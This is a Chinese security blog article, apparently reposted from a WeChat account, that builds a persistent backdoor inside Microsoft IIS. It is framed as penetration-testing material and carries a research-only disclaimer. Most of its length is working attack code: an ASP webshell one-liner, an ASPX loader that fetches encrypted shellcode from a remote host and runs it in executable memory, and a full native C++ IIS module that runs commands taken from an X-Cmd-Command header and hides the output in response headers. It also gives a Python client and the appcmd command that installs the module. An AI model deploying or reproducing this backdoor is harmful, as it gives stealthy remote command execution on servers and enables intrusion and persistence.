如何在 IIS 中保留后门-从HTTP到RCE

admin 2024年7月15日13:46:11评论32 views字数 17475阅读58分15秒阅读模式
如何在 IIS 中保留后门-从HTTP到RCE

介绍

在项目中,我们经常遇到 Internet Information Services (IIS) 的实例。这是一个非常方便的工具,用作应用程序服务器。但是,您是否知道简单的 IIS 部署可能允许攻击者在目标环境中留下后门?

在本文中,我将展示使用合法的 Microsoft 产品(Internet Information Services)在目标系统上持久化的方法。我们将练习 C++ 编程,学习 IIS 组件,并通过 IIS 模块留下后门。

让我们马上同意:我告诉你这一切不是为了让你去入侵别人的系统,而是为了让你知道黑客可以在哪里留下后门。

在 Active Directory 渗透测试期间,我们的团队经常遇到标准 IIS 启动程序。在一个项目中,几乎每台计算机都有这个应用程序。那天晚上,我问自己:“如果连接到目标系统并通过 IIS 设置持久性会怎样?

如何在 IIS 中保留后门-从HTTP到RCE
标准 IIS 初始屏幕

幸运的是,Windows 为开发人员提供了行动的自由:想要扩展任何大型企业的功能吗?我们的目标是取悦,这里有一堆专为您准备的 API!

在创建我们的弗兰肯斯坦怪物之前,让我们记住 IIS 上已知的持久性方法。

赌场、二十一点和贝壳

很长一段时间以来,最常见的持久化方式(在特殊情况下,获得初始访问权限)是 Web Shell。但是,由于它们的简单性、重量轻和非常受欢迎,有很多方法可以检测它们在 Web 服务器上的外观。

如何在 IIS 中保留后门-从HTTP到RCE

此外,如果我们不向 Web Shell 添加最小的访问控制,那么任何人都可以使用它。没那么酷,对吧?

最后,让我们开始编码。让我们以标准的 Web Shell .aspx为例。让我们将其上传到 C:inetpubwwwroot,通过 icacls 设置权限,然后启动。

如何在 IIS 中保留后门-从HTTP到RCE
编码问题(你有没有入侵过非英语系统?

我知道对渗透者的要求很高,但没有人要求了解精灵语。

当然,还有稍微整洁的选择。

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

就像稍微笨重的一样。例如,一个 ASPX shellcode 运行程序,其有效负载从远程服务器加载并随后进行 AES 解密。

埃隆·马斯克(Elon Musk),你觉得怎么样?

<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Linq" %>

<script runat="server">

[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);

[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);

[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);

[ System.Runtime.InteropServices.DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();

private byte[] Decrypt(byte[] data, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 256;
aes.BlockSize = 128;

// Keep this in mind when you view your decrypted content as the size will likely be different.
aes.Padding = PaddingMode.Zeros;

aes.Key = key;
aes.IV = iv;

using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return PerformCryptography(data, decryptor);
}
}
}

private byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return ms.ToArray();
}
}

private byte[] GetArray(string url)
{
using (WebClient webClient = new WebClient())
{
string content = webClient.DownloadString(url);
byte[] byteArray = content.Split(',')
.Select(hexValue => Convert.ToByte(hexValue.Trim(), 16))
.ToArray();
return byteArray;
}
}

private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;

protected void Page_Load(object sender, EventArgs e)
{
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if(mem == null)
{
return;
}

// Encrypted shellcode
byte[] Enc = GetArray("http://192.168.x.x/enc.txt");

// Key
byte[] Key = GetArray("http://192.168.x.x/key.txt");

// IV
byte[] Iv = GetArray("http://192.168.x.x/iv.txt");

// Decrypt our shellcode
byte[] e4qRS= Decrypt(Enc, Key, Iv);

// Allocate our memory buffer
IntPtr zG5fzCKEhae = VirtualAlloc(IntPtr.Zero,(UIntPtr)e4qRS.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// Copy our decrypted shellcode ito the buffer
System.Runtime.InteropServices.Marshal.Copy(e4qRS,0,zG5fzCKEhae,e4qRS.Length);

// Create a thread that contains our buffer
IntPtr aj5QpPE = IntPtr.Zero;
IntPtr oiAJp5aJjiZV = CreateThread(IntPtr.Zero,UIntPtr.Zero,zG5fzCKEhae,IntPtr.Zero,0,ref aj5QpPE);
}
</script>
<!DOCTYPE html>
<html>
<body>
<p>Check your listener...</p>
</body>
</html>

甚至还有 Web shell 生成器。最重要的是,为鉴赏家添加了 web.config 覆盖。看来,接受它,不要去想它!

没那么快!我们想要这样的东西:新的、不寻常的和隐秘的,不是每个安全培训生都能把你从受感染的主机赶走。

并找到了这样的解决方案。

IIS 组件

正如我已经说过的,Microsoft允许扩展其产品的嵌入式功能。在版本 7.0 之前,IIS 具有 ISAPI 扩展和 ISAPI 筛选器。这些功能仍然可用,但已分别被 IIS 处理程序和 IIS 模块所取代。

IIS 处理程序允许在 IIS 上处理收到的请求,并为不同的内容类型创建响应。例如,ASP.NET 中有一个处理程序,允许处理 ASPX 页(包括我们的 Web Shell)。

IIS 模块也参与处理。IIS 授予它对所有传入和传出 HTTP 请求的完全和不受限制的访问权限。我想这就是我们的候选人。模块本身可以分为两种类型:托管模块和本机模块。托管是用 C# 编写的,Native 是用 C++ 编写的。可以通过标准 IIS 服务控制管理器查看已安装模块的列表。

如何在 IIS 中保留后门-从HTTP到RCE
IIS 服务控制管理器

持久化过程本身类似于 Web Shell:如果使用特定参数调用某个端点,则在系统上执行该命令。

总体概念

我了解 Windows 功能的扩展方式。一切都基于使用所需方法编写自己的DLL库。创建后,剩下的就是在 IIS 中注册库并使用它来处理服务器上出现的特定事件,例如,接收新的 HTTP 请求。

为了让我们向 IIS 注册我们的库,它必须使用以下原型导出 RegisterModule() 函数:

HRESULT __stdcall RegisterModule(
DWORD dwServerVersion,
IHttpModuleRegistrationInfo* pModuleInfo,
IHttpServer* pHttpServer
)

dwServerVersion 指定注册库的服务器版本。IHttpModuleRegistratioInfo 就是所谓的接口。我要指出的是,OOP 中的接口可以被视为类实现某些方法的某种义务。可以在这里找到一个很好的分析。

因此,通过访问 pModuleInfo 变量(它将在 IIS 中标识我们的模块),我们可以使用 GetName() 检索当前模块的名称,通过 GetId() 获取其 ID,但最有趣的事情(我们实际需要的)是通过 SetRequestNotifications() 订阅某些事件的处理。

也可以设置优先级,但我们对此并不特别感兴趣。但是,如果您打算编写一个高负载的 Web Shell...

好吧,让我们回到 SetRequestNotifications()。

virtual HRESULT SetRequestNotifications(  
IN IHttpModuleFactory* pModuleFactory,
IN DWORD dwRequestNotifications,
IN DWORD dwPostRequestNotifications
)
= 0;

这就是所谓的纯虚拟功能。它的逻辑应该在某个类中实现。在我们的例子中,我们可以通过访问 pModuleInfo 来调用这个函数。函数本身接受以下参数:

  • pModuleFactory 是将实现 IHttpModuleFactory 接口的类的实例。也就是说,我们只需要创建一个类,指定它是从接口继承的,并在此类中实现 GetHttpModule 和 Terminate 方法
  • dwRequestNotifications 是一个位掩码,用于标识 IIS 模块订阅的所有事件。我们对RQ_SEND_RESPONSERQ_BEGIN_REQUEST感兴趣。可以在此处找到可能事件的完整列表
  • dwPostRequestNotifications 是一个位掩码,用于标识所有所谓的事件后事件。此掩码可用于处理 IIS 上已发生的情况。我们对这个值不是特别感兴趣,所以我们把它设置为 0

如果初始化成功,RegisterModule() 函数将返回S_OK

一个合乎逻辑的问题出现了:“我们应该在哪里处理事件?在回答这个问题之前,我们需要了解所有的阶级和工厂。

IIS 编程中的类和工厂

在 SetRequestNotification() 函数中,我们将提交一个类的实例,该类将 IHttpModuleFactory 接口实现为第一个参数。我们类的名称可以是任何东西,最主要的是它有两个方法的实现:GetHttpModule() 和 Terminate()。

例如,让我们按名称 CHttpModuleFactory 调用该类。

class CHttpModuleFactory : public IHttpModuleFactory
{
public:

HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator* pAllocator)
{
... logic code ...
}

void Terminate()
{
delete this;
}
};

每次 IIS 收到请求时,都会调用 GetHttpModule() 方法,该请求的处理已注册。Terminate() 将在请求处理结束时调用。

在 GetHttpModule() 中,我们的类将创建 CHttpModule 类的实例,并将地址返回给 ppModule 变量。它是 CHttpModule 类,它提供用于处理 IIS 上的请求的功能;其定义在标准 httpserv.h 头文件中列出。

如何在 IIS 中保留后门-从HTTP到RCE
CHttpModule 类定义

如果我们看一下 OutputDebugString() 函数,我们就会明白,仅仅创建一个类的实例是不够的,因为我们必须提供方法来处理特定事件的方法的实现。我们可以用子类重写现有方法的代码,我们称之为 CChildHttpModule

在类本身中,现在,我们只编写我们将要覆盖的方法的原型。但是,在我看来,将方法代码插入 .h 文件是一种非常好的做法,因为可能会发生一些 LNK* 错误。

class CChildHttpModule : public CHttpModule
{
public:
REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);
};

我们将提供一个代码来在 GetHttpModule() 中创建 CChildHttpModule 类的实例。

class CHttpModuleFactory : public IHttpModuleFactory
{
public:

HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator*)
{
CChildHttpModule* pModule = new CChildHttpModule();
*ppModule = pModule;
pModule = NULL;
return S_OK;
}

void Terminate()
{
delete this;
}
};

总而言之,刚才描述的操作实现了一种称为“工厂”的设计模式(因此在接口名称中称为各种 *Factory)。此模式允许创建对象(称为工厂)以创建其他对象。然后,在调用工厂时,将创建所需的对象。

整个工作逻辑:

1. 我们向 IIS 注册模块。

2. IIS 调用 RegisterModule()。

3. 我们订阅必要的事件,通过 pModuleInfo->SetRequestNotifications() 发送对我们工厂实例的引用。

4. 一旦出现请求,IIS 将调用我们工厂的 GetHttpModule() 方法。

5. 创建 CChildHttpModule() 类的新实例。

6. 将使用此类实例调用与事件对应的所需方法。在我们的例子中,如果您注册了 RQ_SEND_RESPONSE,则将调用 OnSendResponse()。

7. 在方法中,我们处理 Web 服务器响应。

8.从RQ_NOTIFICATION_CONTINUE方法中回来。此值表示处理功能已成功完成。

9. IIS 调用 Terminate() 方法。

如果我们需要请求,我们为什么要处理响应?

通过调用 OnBeginRequest() 方法处理 RQ_BEGIN_REQUEST 事件会更合乎逻辑。但是在这种情况下,我们如何获得输出呢?当然,我们可以在套接字上编写一些代码或离开盲目的命令执行,但这并不方便。所以我用了RQ_SEND_RESPONSE。此外,借助 IHttpContext 接口,我们可以通过 pHttpContext 参数访问 OnSendResponse() 方法中的请求和响应。

我们工具的操作逻辑将非常简单:我们解析收到的请求,检测攻击者在系统上执行命令的愿望,执行命令,将命令输出添加到IIS服务器响应中,这为我们带来了成功!

让我们开始编码吧

因此,我们创建一个空项目,用于在 Visual Studio 中编写动态绑定库。我们不会向 DllMain 函数添加任何内容;我们不需要它。让我们实现 RegisterModule()。

#include "pch.h"
#include <Windows.h>
#include <httpserv.h>
#include "classes.h"

CHttpModuleFactory* pFactory = NULL;

__declspec(dllexport) HRESULT __stdcall RegisterModule(
DWORD dwSrvVersion,
IHttpModuleRegistrationInfo* pModuleInfo,
IHttpServer* pHttpServer)

{
pFactory = new CHttpModuleFactory();
HRESULT hr = pModuleInfo->SetRequestNotifications(pFactory, RQ_SEND_RESPONSE, 0);
return hr;
}

在此代码中,我们声明一个从 DLL 导出的函数。接下来,我们在其中创建一个新工厂的实例,IIS 将使用它来创建 CChildHttpModule 类的对象。

我们在 classes.h 头文件中实现 CHttpModuleFactory 和 CChildHttpModule 类的原型。

#pragma once
#include <Windows.h>
#include <httpserv.h>

class CChildHttpModule : public CHttpModule
{
public:
REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);
};


class CHttpModuleFactory : public IHttpModuleFactory
{
public:
HRESULT GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc);

void Terminate();
};

我们将这些类的方法的逻辑写入 classes.cpp 文件中。

#include "classes.h"

REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss)
{
...
}

HRESULT CHttpModuleFactory::GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc)
{
CChildHttpModule* pModule = new CChildHttpModule();
*ppModule = pModule;
pModule = NULL;
return S_OK;
}

void CHttpModuleFactory::Terminate()
{
if (this != NULL)
{
delete this;
}
}

接下来,我们需要了解我们想要执行命令的方式并查看输出。在此之后,我们决定实现 OnSendResponse() 函数的方式。

IHttp* 接口方法

对于最小的 POC,我建议使用 X-Cmd-Command:<command> 标头发送 HTTP 数据包。由于我们的 IIS 模块已注册以处理RQ_SEND_RESPONSE,因此将在 IIS 中调用 OnSendResponse() 函数。其原型如下:

virtual REQUEST_NOTIFICATION_STATUS OnSendResponse(  
IN IHttpContext* pHttpContext,
IN ISendResponseProvider* pProvider
)
;

在这里,我们对 pHttpContext 指针感兴趣。由于此实例实现了 IHttpContext 接口,因此我们可以使用此接口中定义的函数。

首先,我们需要提取 IIS 收到的请求和发送的响应。这可以使用 pHttpContext->GetRequest() 和 pHttpContext->GetResponse() 方法完成。

因此,我们得到了两个对应于接口 IHttpRequest 和 IHttpResponse 的实例。

GetHeader() 方法允许检索特定标头的值。

virtual PCSTR GetHeader(  
IN PCSTR pszHeaderName,
OUT USHORT* pcchHeaderValue = NULL
)
const
= 0;

剩下的就是提取值,将其发送到 cmd.exe /c <命令>,然后将执行结果添加到 Web 应用程序响应中。前两个步骤,GetHeader()CreateProcess(),输出重定向到管道,一切都很明显,但是我们如何添加执行命令的结果呢?

为此,我们使用 SetHeader() 方法。

virtual HRESULT SetHeader(  
IN PCSTR pszHeaderName,
IN PCSTR pszHeaderValue,
IN USHORT cchHeaderValue,
IN BOOL fReplace
)
= 0;

请注意,此方法也存在于 IHttpRequest 中,但我们将其与 IHttpResponse 实例相关(毕竟,我们希望在响应中包含命令执行结果,对吗?:) )。

命令执行结果以 Base64 格式插入。

如何调试 IIS 组件

我已经在文章前面提到了出色的 OutputDebugString() 函数。我也将在 OnSendResponse() 函数中使用它。就本机IIS模块而言,这是在开发过程中调试和发现错误的唯一或多或少的高级方法(据我所知)。OutputDebugString() 执行以下操作:

  • 如果正在调试当前进程,则文本将直接发送到调试器
  • 否则,它将调用标准的 OpenEvent() 函数,并尝试打开两个命名事件的句柄。一个叫DBWIN_BUFFER_READY,另一个叫DBWIN_DATA_READY。如果未找到其中一个或两个,则传递给函数的字符串将被清除
  • 如果存在事件,则通过调用具有DBWIN_BUFFER名称的 OpenFileMapping() 将字符串放入内存中。如果未找到此映射,则只需清除文本即可
  • 最后,如果这三个对象都存在,则 OutputDebugString() 调用 MapViewOfFile() 来创建映射,并且字符串将出现在内存中。它可以从那里读取

我们也可以使用 DebugView。

下面是两个程序的示例,其中一个程序使用 OutputDebugString() 函数接收发送到另一个程序的字符串:

#include <Windows.h>
#include <stdio.h>
#include <atltime.h>

int main() {
HANDLE hBufferReady = ::CreateEvent(nullptr, FALSE, FALSE,
L"DBWIN_BUFFER_READY");
HANDLE hDataReady = ::CreateEvent(nullptr, FALSE, FALSE,
L"DBWIN_DATA_READY");

DWORD size = 1 << 12;
HANDLE hMemFile = ::CreateFileMapping(INVALID_HANDLE_VALUE, nullptr,
PAGE_READWRITE, 0, size, L"DBWIN_BUFFER");

auto buffer = (BYTE*)::MapViewOfFile(hMemFile, FILE_MAP_READ,
0, 0, 0);

while (WAIT_OBJECT_0 == ::SignalObjectAndWait(hBufferReady, hDataReady,
INFINITE, FALSE)) {
SYSTEMTIME local;
::GetLocalTime(&local);
DWORD pid = *(DWORD*)buffer;
printf("%ws.%03d %6d: %sn",
(PCWSTR)CTime(local).Format(L"%X"),
local.wMilliseconds, pid,
(const char*)(buffer + sizeof(DWORD)));
}
getchar();
return 0;
}

以下是发送字符串的程序:

#include <windows.h>

int main()
{
LPCWSTR str = (LPCWSTR)L"Hi!!!";
OutputDebugString(str);
return 0;
}
如何在 IIS 中保留后门-从HTTP到RCE
调试成功

以下是使用 DebugView 的调试过程所示:

如何在 IIS 中保留后门-从HTTP到RCE
代码中的函数
如何在 IIS 中保留后门-从HTTP到RCE
DebugView 接口

编写最终 POC

因此,我们所要做的就是正确描述 OnSendResponse() 方法中的所有内容并获得一个正常运行的后门。让我们从编码函数开始。我们将使用 base64,所以这里的一切都很简单。由于 SetHeader() 函数接受 LPCSTR,因此我们的 EncodeBase64() 函数将返回 LPCSTR。编码的数据将位于 BYTE 缓冲区中,因此第一个参数将是缓冲区地址,第二个参数是其大小。


const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

LPCSTR EncodeBase64(BYTE* buffer, size_t in_len)
{
std::string out;

int val = 0, valb = -6;
for (size_t i = 0; i < in_len; ++i) {
unsigned char c = buffer[i];
val = (val << 8) + c;
valb += 8;
while (valb >= 0) {
out.push_back(base64_chars[(val >> valb) & 0x3F]);
valb -= 6;
}
}
if (valb > -6) out.push_back(base64_chars[((val << 8) >> (valb + 8)) & 0x3F]);
while (out.size() % 4) out.push_back('=');

char* encodedString = new char[out.length() + 1];
std::memcpy(encodedString, out.data(), out.length());
encodedString[out.length()] = '�';

return encodedString;
}

我认为描述算法的工作原理没有意义,因为这是标准的 Base64。

让我们继续讨论最有趣的部分 — OnSendResponse() 处理。首先,我将提供该函数的完整代码,然后我们将逐步完成它。

REQUEST_NOTIFICATION_STATUS CChildHttpModule::OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss)
{
OutputDebugString(L"OnSendResponse IN");
IHttpRequest* pHttpRequest = pHttpContext->GetRequest();
IHttpResponse* pHttpResponse = pHttpContext->GetResponse();

USHORT uComLen = 0;
LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen);
if (lpCommand == NULL || uComLen == 0) {
OutputDebugString(L"lpCommand == NULL || uComLen == 0");
return RQ_NOTIFICATION_CONTINUE;
}

OutputDebugString(L"Command isn't null");

lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);
lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);

std::vector<BYTE> output;

if (ExecuteCommand(lpCommand, output) != 0)
{
OutputDebugString(L"ExecuteCommand Failed");
return RQ_NOTIFICATION_CONTINUE;
}

OutputDebugString(L"ExecuteCommand success");

if (output.empty())
{
OutputDebugString(L"Buffer Is empty!");
return RQ_NOTIFICATION_CONTINUE;
}

OutputDebugString(L"Buffer is not empty");
LPCSTR b64Data = EncodeBase64(output.data(), output.size());
if (b64Data == NULL)
{
OutputDebugString(L"Base64 Data Is Null!");
return RQ_NOTIFICATION_CONTINUE;
}

pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false);
output.clear();
delete[] b64Data;
OutputDebugString(L"OnSendResponse OUT");
return RQ_NOTIFICATION_CONTINUE;
}

首先,正如承诺的那样,设置 OutputDebugString()。这允许通过 DebugView 监视 IIS 模块状态。

如何在 IIS 中保留后门-从HTTP到RCE
通过 DebugView 进行调试

其次,我们从 pHttpContext 中检索响应和请求实例。

IHttpRequest* pHttpRequest = pHttpContext->GetRequest();
IHttpResponse* pHttpResponse = pHttpContext->GetResponse();

然后,通过读取 X-Cmd-Command 标头,我们得到要执行的命令的值。

LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen);
if (lpCommand == NULL || uComLen == 0) {
OutputDebugString(L"lpCommand == NULL || uComLen == 0");
return RQ_NOTIFICATION_CONTINUE;
}

OutputDebugString(L"Command isn't null");

lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);
lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);

请注意,我将标头放在 HEADER 变量中。它在 defs.h 文件中定义。这允许快速更改使用的标题,而不会出现任何问题。

我们后门的主要功能是执行任意命令。因此,我创建了一个具有 BYTE 数据类型的向量。此变量将包含命令执行结果。

std::vector<BYTE> output;

if (ExecuteCommand(lpCommand, output) != 0)
{
OutputDebugString(L"ExecuteCommand Failed");
return RQ_NOTIFICATION_CONTINUE;
}

OutputDebugString(L"ExecuteCommand success");

if (output.empty())
{
OutputDebugString(L"Buffer Is empty!");
return RQ_NOTIFICATION_CONTINUE;
}

OutputDebugString(L"Buffer is not empty");

ExecuteCommand() 如下所示。


DWORD ExecuteCommand(LPCSTR command, std::vector<BYTE>& outputBuffer) {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
HANDLE hReadPipe, hWritePipe;
BOOL success = FALSE;

if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
OutputDebugString(L"CreatePipe failed");
return -1;
}

ZeroMemory(&si, sizeof(STARTUPINFOA));
si.cb = sizeof(STARTUPINFOA);
si.dwFlags |= STARTF_USESTDHANDLES;
si.hStdOutput = hWritePipe;
si.hStdError = hWritePipe;

char cmdCommand[MAX_PATH];
snprintf(cmdCommand, MAX_PATH, "C:\Windows\System32\cmd.exe /c %s", command);

if (!CreateProcessA(
NULL,
cmdCommand,
NULL,
NULL,
TRUE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi)) {
OutputDebugString(L"CreateProcessA failed");
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
return -1;
}

OutputDebugString(L"CreateProcessA Success");

CloseHandle(hWritePipe);

outputBuffer.clear();

const DWORD tempBufferSize = 4096;
std::vector<BYTE> tempBuffer(tempBufferSize);
DWORD bytesRead;

while (true) {
if (!ReadFile(hReadPipe, tempBuffer.data(), tempBufferSize, &bytesRead, NULL) || bytesRead == 0)
break;
outputBuffer.insert(outputBuffer.end(), tempBuffer.begin(), tempBuffer.begin() + bytesRead);
}

CloseHandle(hWritePipe);
CloseHandle(hReadPipe);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

return 0;

对于优秀的信息安全专家来说,此功能似乎非常简单。首先,我们创建一个管道来接收命令结果。下一步是生成可执行命令 (cmd.exe /c <command>),然后执行该命令。执行结果将落入管道中,我们从中读取数据并将其放入我们的向量中。

阅读过程也很简单。一旦函数开始终止并出现错误或不再读取数据,就意味着就是这样,读取结束:)

读取向量中的所有数据后,我们将其编码为 Base64,并通过 SetHeader() 方法将其插入到 Web 服务器响应中。

LPCSTR b64Data = EncodeBase64(output.data(), output.size());
if (b64Data == NULL)
{
OutputDebugString(L"Base64 Data Is Null!");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugStringA(b64Data);
pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false);
output.clear();
delete[] b64Data;
OutputDebugString(L"OnSendResponse OUT");
return RQ_NOTIFICATION_CONTINUE;

命令执行

这是我们的关键时刻!我们实现命令的执行。为了向受感染的 IIS 发送请求,让我们编写一个简单的 Python 脚本。

import requests
import argparse
import base64

parser = argparse.ArgumentParser(description='Send a custom command to a server and print the response.')
parser.add_argument('--host', type=str, required=True, help='HTTP URL of the host to connect to')
parser.add_argument('--cmd', type=str, required=True, help='Command to send in the X-Cmd-Command header')
parser.add_argument('--header', type=str, default='X-Cmd-Command', help='Header to receive the response in, defaults to X-Cmd-Command')
args = parser.parse_args()

url = args.host


headers = {
args.header: args.cmd
}

response = requests.get(url, headers=headers)

if response.status_code == 200:
response_value = response.headers.get(args.header)
if response_value:
decoded_value = base64.b64decode(response_value.encode()).decode()
print(f"Header value {args.header} in response: {decoded_value}")
else:
print(f"Header {args.header} doesn't exists")
else:
print(f"Error: {response.status_code}")

该脚本采用两个必需参数和一个可选参数:

  • — host — IIS 所在主机的 URL
  • — cmd — 执行命令
  • — header — 我们发出命令并接收输出的标头的名称。我们使用 X-Cmd-Command,但如果您使用不同的标头重新编译项目,请不要忘记设置新值

在您看到令人垂涎的结果之前,请不要忘记向 IIS 注册我们的模块。我们可以通过一个简单的命令来做到这一点:

C:Windowssystem32inetsrvappcmd.exe install module /name:"Backdoor" /image:C:WindowsSystem32inetsrvBackdoor.dll /add:true

当然,我们可以通过图形界面安装它,但这在某种程度上不像黑客。

如果注册成功,我们将在 DebugView 中看到 RegisterModule 行。

如何在 IIS 中保留后门-从HTTP到RCE
成功注册后门

如果我们只是转到 IIS 并刷新页面,则不会发生任何可疑情况。我们只能看到如何成功记录未收到任何命令的消息。

如何在 IIS 中保留后门-从HTTP到RCE
常规 IIS

我们运行 Python 脚本并看到命令执行成功!

如何在 IIS 中保留后门-从HTTP到RCE
成功执行命令

好!

结论

在进行渗透测试时,完全标准和合法的机制有时非常有用。这个项目可以添加更多功能。例如,不仅要对输出进行编码,还要对输入进行编码,那就太好了。因此,在 X-Cmd-Command 标头中给出 Base64 中的命令。幸运的是,我们学会了如何获取标头值。从 Base64 添加解码功能完全由您决定。所需的所有数据都已base64.cpp。去吧:)

https://github.com/MzHmO/articles/tree/main

原文始发于微信公众号(安全狗的自我修养):如何在 IIS 中保留后门-从HTTP到RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月15日13:46:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何在 IIS 中保留后门-从HTTP到RCEhttps://cn-sec.com/archives/2925605.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息